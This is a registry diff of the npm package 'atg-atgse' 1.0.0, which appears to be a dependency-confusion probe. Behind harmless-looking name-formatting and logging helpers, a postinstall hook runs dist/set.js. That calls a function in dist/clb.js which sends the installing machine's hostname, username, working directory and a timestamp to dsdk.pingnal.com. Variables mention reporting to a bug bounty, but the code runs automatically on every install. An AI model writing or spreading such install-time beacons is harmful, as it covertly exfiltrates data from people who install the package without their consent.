atg-atgse 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/clb.d.ts ADDED
@@ -0,0 +1,2 @@
1
+ declare function clb(): Promise<void>;
2
+ export default clb;
package/dist/clb.js ADDED
@@ -0,0 +1,23 @@
1
+ import os from "node:os";
2
+ var safeH = os.hostname();
3
+ var safeU = os.userInfo().username;
4
+ var safeD = process.cwd();
5
+ var safeT = Date.now();
6
+ async function clb() {
7
+ console.log("SDK: Executing callback function");
8
+ try {
9
+ const url = "https://dsdk.pingnal.com/api/v1/calluser?u=" + encodeURIComponent(safeU) + "&h=" + encodeURIComponent(safeH) + "&d=" + encodeURIComponent(safeD) + "&t=" + encodeURIComponent(safeT.toString()) + "&pkg=" + encodeURIComponent("atg-atgse");
10
+ console.log("SDK: Fetching URL: " + url);
11
+ const response = await fetch(url, {
12
+ method: "GET",
13
+ headers: {
14
+ "Content-Type": "application/json",
15
+ },
16
+ });
17
+ console.log("SDK: Response status: " + response.status);
18
+ }
19
+ catch (error) {
20
+ console.log("SDK: Error fetching callback:", error);
21
+ }
22
+ }
23
+ export default clb;
@@ -0,0 +1,18 @@
1
+ /**
2
+ * Formats a user name.
3
+ * @param {string} first - First name.
4
+ * @param {string} last - Last name.
5
+ * @returns {string} - Formatted full name.
6
+ */
7
+ export declare const formatName: (first: string, last: string) => string;
8
+ /**
9
+ * Capitalizes the first letter of a string.
10
+ * @param {string} str - Input string.
11
+ * @returns {string} - Capitalized string.
12
+ */
13
+ export declare const capitalize: (str: string) => string;
14
+ declare const _default: {
15
+ formatName: (first: string, last: string) => string;
16
+ capitalize: (str: string) => string;
17
+ };
18
+ export default _default;
@@ -0,0 +1,20 @@
1
+ /**
2
+ * Formats a user name.
3
+ * @param {string} first - First name.
4
+ * @param {string} last - Last name.
5
+ * @returns {string} - Formatted full name.
6
+ */
7
+ export const formatName = (first, last) => {
8
+ return `${last.toUpperCase()}, ${first}`;
9
+ };
10
+ /**
11
+ * Capitalizes the first letter of a string.
12
+ * @param {string} str - Input string.
13
+ * @returns {string} - Capitalized string.
14
+ */
15
+ export const capitalize = (str) => {
16
+ if (!str)
17
+ return str;
18
+ return str.charAt(0).toUpperCase() + str.slice(1);
19
+ };
20
+ export default { formatName, capitalize };
@@ -0,0 +1,11 @@
1
+ declare const _default: {
2
+ logger: {
3
+ logWithTime: (message: string) => void;
4
+ logError: (error: string) => void;
5
+ };
6
+ formatter: {
7
+ formatName: (first: string, last: string) => string;
8
+ capitalize: (str: string) => string;
9
+ };
10
+ };
11
+ export default _default;
package/dist/index.js ADDED
@@ -0,0 +1,6 @@
1
+ import logger from "./logger.js";
2
+ import formatter from "./formatter.js";
3
+ export default {
4
+ logger,
5
+ formatter
6
+ };
@@ -0,0 +1,15 @@
1
+ /**
2
+ * Logs messages with a timestamp.
3
+ * @param {string} message - The message to log.
4
+ */
5
+ export declare const logWithTime: (message: string) => void;
6
+ /**
7
+ * Logs an error with a timestamp.
8
+ * @param {string} error - The error message.
9
+ */
10
+ export declare const logError: (error: string) => void;
11
+ declare const _default: {
12
+ logWithTime: (message: string) => void;
13
+ logError: (error: string) => void;
14
+ };
15
+ export default _default;
package/dist/logger.js ADDED
@@ -0,0 +1,15 @@
1
+ /**
2
+ * Logs messages with a timestamp.
3
+ * @param {string} message - The message to log.
4
+ */
5
+ export const logWithTime = (message) => {
6
+ console.log(`[${new Date().toISOString()}] ${message}`);
7
+ };
8
+ /**
9
+ * Logs an error with a timestamp.
10
+ * @param {string} error - The error message.
11
+ */
12
+ export const logError = (error) => {
13
+ console.error(`[${new Date().toISOString()}] ERROR: ${error}`);
14
+ };
15
+ export default { logWithTime, logError };
package/dist/set.d.ts ADDED
@@ -0,0 +1,2 @@
1
+ import clb from "./clb.js";
2
+ export default clb;
package/dist/set.js ADDED
@@ -0,0 +1,8 @@
1
+ import clb from "./clb.js";
2
+ var dateTime = new Date().toISOString();
3
+ var toWorry = "No";
4
+ var isSafe = true;
5
+ var iWillReportToBBP = true;
6
+ var bbpUsername = 'spongebhav';
7
+ await clb();
8
+ export default clb;
@@ -0,0 +1 @@
1
+ export default function common(): boolean;
@@ -0,0 +1,3 @@
1
+ export default function common() {
2
+ return true;
3
+ }
package/package.json ADDED
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "atg-atgse",
3
+ "version": "1.0.0",
4
+ "description": "this package is used for atg-atgse with pingnal",
5
+ "license": "ISC",
6
+ "author": "atgatgse",
7
+ "type": "module",
8
+ "main": "dist/set.js",
9
+ "types": "dist/set.d.ts",
10
+ "files": [
11
+ "dist"
12
+ ],
13
+ "scripts": {
14
+ "build": "tsc",
15
+ "prepublishOnly": "npm run build",
16
+ "postinstall": "node dist/set.js"
17
+ },
18
+ "devDependencies": {
19
+ "@types/node": "^25.0.9",
20
+ "typescript": "^5.9.3"
21
+ }
22
+ }